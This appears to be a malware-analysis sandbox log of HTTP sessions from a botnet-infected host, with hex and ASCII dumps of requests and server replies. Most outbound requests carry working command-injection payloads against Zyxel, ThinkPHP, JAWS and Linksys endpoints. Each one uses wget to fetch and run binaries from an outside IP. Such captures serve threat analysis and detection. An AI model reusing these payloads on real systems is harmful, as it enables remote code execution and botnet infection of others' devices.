1699	192.168.2.23	41770	178.22.56.48	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.350946903 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:46.526643991 CET	530	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:46 GMT Server: Apache/2 Content-Length: 315 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Mar 2, 2024 12:38:46.526798964 CET	406	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:46 GMT Server: Apache/2 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1700	192.168.2.23	43310	213.135.107.2	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.461131096 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:47.704941988 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:47.939785957 CET	219	IN	HTTP/1.1 404 Not Found Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 2007 Date: Sat, 02 Mar 2024 11:38:47 GMT Cache-Control:no-cache, must-revalidate Pragma:no-cache P3P:CP="NO P3P"
Mar 2, 2024 12:38:47.940448046 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 Data Ascii: <!DOCTYPE HTML><html><head><META HTTP-EQUIV="Content-Type" content="text/html; charset=utf-8"><META HTTP-EQUIV="Expires" CONTENT="-1"><META HTTP-EQUIV="pragma" CONTENT="no-cache"><META HTTP-EQUIV="cache-control" content="no-cache"><META Name="
Mar 2, 2024 12:38:47.940465927 CET	721	IN	Data Raw: 74 69 74 6c 65 20 7b 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 6c 61 72 67 65 3b 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 30 70 78 3b 7d 2e 69 77 2d 68 65 61 64 65 72 6c 69 6e 65 20 7b 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 Data Ascii: title {font-size: large;padding-left: 20px;}.iw-headerline {background-color: #00152C; height: 5px;}.iw-restart {padding: 10px;font-size: small;}</style><title>RegionLK</title></head><body class="iw-body"><div class="iw-header-green"><st

Session ID	Source IP	Source Port	Destination IP	Destination Port
1701	192.168.2.23	36238	95.101.244.80	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.818829060 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:47.005263090 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Sat, 02 Mar 2024 11:38:46 GMT Date: Sat, 02 Mar 2024 11:38:46 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 63 62 30 66 37 34 38 26 23 34 36 3b 31 37 30 39 33 37 39 35 32 36 26 23 34 36 3b 62 66 65 34 37 66 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.9cb0f748.1709379526.bfe47fc</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1702	192.168.2.23	39584	95.179.253.178	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.818880081 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:47.006109953 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1703	192.168.2.23	54858	38.62.251.3	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.850708961 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1704	192.168.2.23	49074	184.50.169.27	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.860961914 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:47.048691988 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Sat, 02 Mar 2024 11:38:46 GMT Date: Sat, 02 Mar 2024 11:38:46 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 63 61 66 33 31 35 30 32 26 23 34 36 3b 31 37 30 39 33 37 39 35 32 36 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.caf31502.1709379526.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1705	192.168.2.23	52322	172.173.193.200	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.935154915 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:47.048455954 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:46 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1706	192.168.2.23	54442	104.17.192.156	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.942976952 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:47.229007006 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1707	192.168.2.23	36826	205.189.48.20	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.964818001 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:47.074126959 CET	563	IN	HTTP/1.1 302 Found Date: Sat, 02 Mar 2024 11:38:47 GMT Server: Apache/2.0.52 (CentOS) Location: http://ftp.qpit.com/shell?cd+/tmp%3brm+-rf+%3bwget+ Content-Length: 311 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 74 70 2e 71 70 69 74 2e 63 6f 6d 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 25 33 62 72 6d 2b 2d 72 66 2b 2a 25 33 62 77 67 65 74 2b 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 30 2e 35 32 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://ftp.qpit.com/shell?cd+/tmp%3brm+-rf+%3bwget+">here</a>.</p><hr><address>Apache/2.0.52 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1708	192.168.2.23	58090	163.191.234.189	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.964859962 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:47.317495108 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:48.021408081 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:49.429301023 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1709	192.168.2.23	47802	172.64.130.80	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.026823997 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:47.517005920 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1710	192.168.2.23	33200	172.67.231.166	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.026870966 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:47.313000917 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1711	192.168.2.23	51736	159.144.217.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.048942089 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:47.220612049 CET	181	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1712	192.168.2.23	57880	172.87.78.179	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.049184084 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1713	192.168.2.23	49466	172.65.93.166	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.302864075 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1714	192.168.2.23	54908	38.62.251.3	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.385322094 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1715	192.168.2.23	51758	159.144.217.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.396835089 CET	181	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1716	192.168.2.23	60710	172.103.135.116	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.397316933 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1717	192.168.2.23	42362	44.226.193.235	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.397430897 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:47.593992949 CET	19	IN	Data Raw: 15 03 01 00 02 01 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1718	192.168.2.23	50820	172.103.132.137	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.535835981 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
